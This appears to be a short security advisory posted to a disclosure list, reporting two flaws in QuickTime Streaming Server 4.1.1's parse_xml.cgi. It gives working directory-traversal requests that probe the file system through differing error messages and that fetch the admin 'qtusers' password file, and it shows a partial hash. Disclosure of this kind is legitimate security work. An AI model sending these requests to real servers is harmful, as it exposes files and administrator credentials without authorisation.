Word.

I've found two other issues in QuickTime Streaming Server v4.1.1 that
seem to be fixed in the newest v4.1.3:

1.)  File probing:

  Request:   http://localhost:1220/parse_xml.cgi?filename=../nonexistent
  Response:  'Can't access HTML file '../nonexistent'!' [...]

  Request:   http://localhost:1220/parse_xml.cgi?
                 filename=../../../autoexec.bat
  Response:  'Can't open HTML file '../../../autoexec.bat'! [...]

As you can see, this discrepency in the error message allows an
unauthenticated user to "feel-out" the file system and determine what
structures and files exist.

2.)  File retrieval:

  Request:   http://localhost:1220/parse_xml.cgi?filename=.../qtusers
  Response:  "realm Streaming Server admin:$dufr$D9/.....$C4g2VaRK" [...]

  This works against the Win32 platform, and not against the Linux
platform; this was not tested against Solaris or MacOS X.
